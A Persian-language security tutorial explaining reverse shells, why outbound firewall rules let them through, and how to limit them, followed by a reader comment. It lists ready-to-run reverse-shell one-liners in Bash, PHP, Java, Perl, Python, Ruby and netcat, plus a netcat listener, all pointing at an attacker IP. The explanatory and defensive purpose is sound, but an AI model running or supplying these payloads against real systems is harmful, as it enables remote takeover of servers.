معمولا هکرها برای به دست گرفتن کنترل یک سیستم آسیبپذیر، سعی میکنند یک دسترسی شل قابل تعامل از آن سیستم به دست آورند تا بتوانند دستورات دلخواه خود را روی آن جرا کنند. مهاجمان با داشتن چنین دسترسی میتوانند راههای مختلف را برای بالابردن دسترسیهای خود و به دستآوردن کنترل کامل سیستمعامل امتحان کنند. با این وجود، اکثر سیستمها پشت فایروال قرار دارند و اتصال شل مستقیم از راه دور به آنها غیرممکن است، زیرا سیستمهای پشت فایروال از دنیای خارج – یعنی همان اینترنت – دیده نمیشوند. یکی از روشهایی که برای دورزدن این محدودیت استفاده میشود، یک شل معکوس یا Reverse Shell است.
Reverse Shell چگونه کار میکند؟
در یک سناریوی دسترسی از راه دور معمولی، کاربری که دسترسی میگیرد یک کلاینت، و ماشین هدف یک سرور است. کاربر اتصال شل از راه دور را آغاز میکند و سرور منتظر چنین اتصالهایی میماند (یا به اصطلاح Listen میکند). ولی در شل معکوس، این نقشها برعکس هستند. این ماشین هدف است که اتصال به کاربر را شروع میکند، و کامپیوتر کاربر منتظر اتصالات ورودی روی یک پورت خاص میماند.
دلیل اصلی این که مهاجمان رغبت زیادی به استفاده از Reverse Shell دارند، نحوه پیکربندی خاص اکثر فایروالهاست. سرورهایی که به آنها حمله میشود، معمولا فقط اجازه اتصال به پورتهای خاصی را میدهند. مثلا یک وبسرور اختصاصی، فقط اتصالات را روی پورتهای 80 و 443 میپذیرد. این یعنی امکان ایجاد Shell Listener روی سرور هدف وجود ندارد.
این در حالی است که فایروالها معمولا اتصالات از داخل به خارج (Outgoing) را به هیچ وجه محدود نمیکنند. به همین خاطر مهاجم ی سرور روی دستگاه خودش راهاندازی میکند و یک اتصال معکوس ایجاد میکند. تمام چیزی که یک مهاجم نیاز دارد یک دستگاه با آدرس IP عمومی و ابزاری مانند netcat برای ایجاد listener مخصوص دسترسی شل است.
مثالهایی از شل معکوس
ایجاد شلهای معکوس با ابزارها و زبانهای مختلف کار خیلی راحتی است. اول، به یک listener روی دستگاه محلی خودتان نیاز دارید و این دستگاه هم باید یک آدرس IP عمومی داشته باشد. برای مثال، روی یک ماشین لینوکسی، تنها کاری که لازم است انجام دهید اجراکردن این دستور netcat است:
ncat -l -p 1337
این دستور یک listener روی پورت TCP شماره 1337 راهاندازی میکند. حال بیایید فرض کنیم دستگاه کاربر (یعنی همان دستگاه هکر) دارای آیپی 10.10.17.1 باشد. اگر دستورات زیر روی دستگاه هدف اجرا شوند، یک اتصال شل معکوس به دستگاه مهاجم برقرار میکند.
شل معکوس Bash
سادهترین راه برای ایجاد شل معکوس، استفاده از Bash است که تقریبا روی همهی ماشینهای لینوکسی در دسترس است. این دستور روی اوبونتو نسخه 18.04 تست شده ولی تمام نسخهها از این دستور پشتیبانی نمیکنند:
/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1
شل معکوس PHP
اگر ماشین هدف یک سرور باشد که از PHP استفاده میکند، این زبان یک انتخاب عالی برای شل Reverse Shell است:
php -r ‘$sock=fsockopen(“10.10.17.1”,1337);exec(“/bin/sh -i <&3 >&3 2>&3”);’
اگر این دستور کار نکرد، میتوانید &3 را با چند توصیفگر فایل متوالی (file descriptor) جایگزین کنید و دوباره امتحان کنید. یک اسکریپت دیگر PHP هم برای گرفتن دسترسی شل معکوس وجود دارد که میتوانید آن را از اینجا دانلود کنید.
شل معکوس جاوا
اگر ماشین هدف از جاوا استفاده میکرد، دستور زیر را امتحان کنید:
r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.10.17.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()
شل معکوس Perl
زبان Perl هم یکی دیگر از گزینههای مناسب برای گرفتن شل معکوس روی یک وبسرور است:perl -e ‘use Socket;$i=”10.10.17.1″;$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
شل معکوس پایتون
استفاده از پایتون روی سیستمهای production رواج زیادی دارد و به همین خاطر ممکن است با استفاده از آن هم بتوان شل معکوس گرفت:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.17.1”,1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
شل معکوس Ruby
با وجود این که Ruby مثل زبانهای دیگر رایج نیست، از آن هم میتوان برای ایجاد یک شل معکوس استفاده کرد:
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“10.10.17.1″,”1337″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’;
یا:
ruby -rsocket -e’f=TCPSocket.open(“10.0.17.1”,1337).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
شل معکوس Netcat
به ندرت پیش میاید که netcat روی سرورهای production وجود داشته باشد، ولی اگر بقیه راهها را امتحان کردید و نتیجهای نداشت، میتوانید کد زیر را امتحان کنید:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
باقی شلهای معکوس
اگر به دنبال یک لیست جامع از پیلودهای شل معکوس هستید، میتوانید از اینجا چیتشیت شل معکوس را مشاهده کنید.
پیشگیری از Reverse Shell
به طور کلی، شل معکوس به خودی خود الزاما مخرب نیست و میتوان از آن برای مقاصد مثبت هم استفاده کرد؛ برای مثال، ادمینها میتوانند با استفاده از Reverse Shell، از راه دور سرور را مدیریت کنند. اگر نیازی به استفاده از شل معکوس ندارید، میتوانید امکان ایجاد آن را محدود کنید، ولی این کار چندان راحت نیست:
- میتوانید کنترل سختگیرانهای روی اتصالات از داخل به خارج داشته باشید. با این وجود، این کار برای سرورهایی ممکن است که کارکردی کاملا تخصصی و مشخص دارند، و به همین خاطر اتصالاتی که لازم دارند کاملا معلوم است. ضمن این که اگر مهاجم بخواهد یک listener روی یک پورت رایج مانند پورت 80 باز کند، هیچ راهی برای جلوگیری از آن وجود ندارد. در چنین حالتی، باید محتوای تمام اتصالات را هم مانیتور کرد.
- میتوانید اکثر ابزارهایی را که امکان ایجاد یک شل معکوس را به وجود میآورند غیرفعال کنید، ولی این راه هم برای سرورهایی ممکن است که کارکرد تخصصی دارند و مطمئن هستید به آن ابزارها نیاز نخواهند داشت. همانطور که در مثالها دیدیم، شل معکوس را میتوان به ابزارها و زبانهای مختلفی ایجاد کرد؛ به همین خاطر ممکن است با غیرفعالکردن ابزارهای غیرضروری کار را برای مهاجم سختتر کنید، ولی همچنان امکان گرفتن شل معکوس وجود دارد.
حتی اگر بتوانید با موفقیت از ایجاد شل معکوس جلوگیری کنید، روشهای دیگری وجود دارن که مهاجم میتواند با استفاده از آنها نسبت به سیستم کنترل به دست آورد. برای مثال، در بعضی موارد مهاجم میتواند از وبشل استفاده کند.
شل معکوس همیشه نتیجهی نوع دیگری از حمله، مثلا حمله تزریق SQL است. بنابراین بهترین راه برای جلوگیری از حملات Reverse Shell، جلوگیری از حملاتی است که مقدمات این حمله را فراهم میکنند.
سوالات رایج
شل (Shell)، یک رابط کاربری برای دسترسی به سرویسهای سیستمعامل است. یک شل معکوس، یک شل از راه دور است که در آن اتصال از طرف سیستم ارائهدهنده سرویس به کلاینت دریافتکننده سرویس برقرار میشود.
مهاجمان میتوانند به جای شل معکوس از وبشل هم استفاده کنند.
برای ایجاد شل معکوس، باید یک ماشین کلاینت داشته باشید که از اینترنت قابل دسترسی باشد و یکی از پورتهای آن را باز کنید. پس از آن باید دستوری را روی سرور اجرا کنید که باعث اتصال سرور به listener روی کلاینت شود.
راهی برای بلاککردن کامل شل معکوس وجود ندارد. شما فقط میتوانید با بلاککردن اکثر پورتهای خروجی (در صورت امکان) و خاموشکردن اکثر سرویسها (باز هم در صورت امکان) احتمال این حمله را کمتر کرده و آن را دشوارتر کنید. ضمن این که میتوانید تمام ترافیک خروجی از سرور را مانیتور کنید تا بتوانید دستورات شل احتمالی را در آن بیابید.
یک مهاجم برای این که بتواند یک شل معکوس ایجاد کند، ابتدا باید بتواند دستورات را روی سرور شما اجرا کند. برای جلوگیری از آسیبپذیریهایی که به مهاجمان اجازه اجرای دستور میدهند، میتوانید سرور خود را با اسکنرهای آسیبپذیری اسکن کنید.
با انواع اسکنرهای آسیبپذیری قدرتمند آشنا شوید:
دستورات را یادتون رفته بزارید !
با سلام ممنون از نظرتون، متاسفانه رنگ فونت دستورات به اشتباه انتخاب شده بود و به علت همرنگی با پس زمینه قابل مشاهده نبود که اصلاح شد، مجدد ممنون از شما بابت حسن توجهتون